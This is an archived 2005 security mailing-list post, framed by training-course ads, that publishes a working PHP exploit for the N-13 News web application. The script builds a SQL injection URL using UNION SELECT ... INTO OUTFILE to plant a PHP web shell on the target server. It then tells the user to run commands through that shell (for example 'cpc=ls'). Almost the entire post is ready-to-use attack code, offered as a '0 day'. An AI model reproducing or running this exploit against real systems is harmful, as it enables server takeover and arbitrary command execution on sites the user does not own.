Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | N-13 News Remote SQL/PHP Shell injection |
|---|---|
| Date: | 29 Nov 2005 15:16:55 -0000 |
<?php ### 0 day -- 29/11/2005 ### ### N-13 News Remote SQL / PHP-Shell Injection ### ### Just upload in a web-server with mod_php ### and run it trhough your browser ;) ### ### Affected Software : http://network-13.com/ N-13 News ### Version: All ### Exploit discovere and written by: KingOfSka @ http://contropotere.altervista.org ### Condition: Magic Quotes OFF ### A world writeable directory accessible trough HTTP ### To detect Server Path to N-13 just visit: http://www.site.com/n13/index.php?id=0' ### ?> <html> <head> <title> .::KingOfSka N-13 News Remote PHP Shell Injection::. || http://contropotere.altervista.org || </title> </head> <body> <header> .::KingOfSka N-13 News PHP Shell Injection::. || <a href = "http://contropotere.altervista.org/limbo/"> Contro Potere Hacking Crew </a> || </header> <br /> <br /> <?php if (isset($_POST['url'])) { $url = $_POST['url']; $path2news = $_POST['path2news']; $outfile = $_POST ['outfile']; $sql = "0' UNION SELECT '0' , '<? system(\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO OUTFILE '$outfile"; $sql = urlencode($sql); $expurl= $url."?id=".$sql ; echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />'; echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results"; } else { ?> Url to index.php: <br /> <form action = "<?php echo "$_SERVER[PHP_SELF]" ; ?>" method = "post"> <input type = "text" name = "url" value = "http://www.site.com/n13/index.php" size = "50"> <br /> Server Path to Shell: <br /> Full server path to a writable file which will contain the Php Shell <br /> <input type = "text" name = "outfile" value = "/var/www/localhost/htdocs/n13/shell.php" size = "50"> <br /> <br /> <input type = "submit" value = "Create Exploit"> <br /> <br /> <?php } ?> </body> </html>
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: DNS query spam, Antone Roundy |
|---|---|
| Next by Date: | possible privilege escalation on QNX Neutrino 6.3.0, pasquale minervini |
| Previous by Thread: | APPLE-SA-2005-11-29 Security Update 2005-009, noreply |
| Next by Thread: | possible privilege escalation on QNX Neutrino 6.3.0, pasquale minervini |
| Indexes: | [Date] [Thread] [Top] [All Lists] |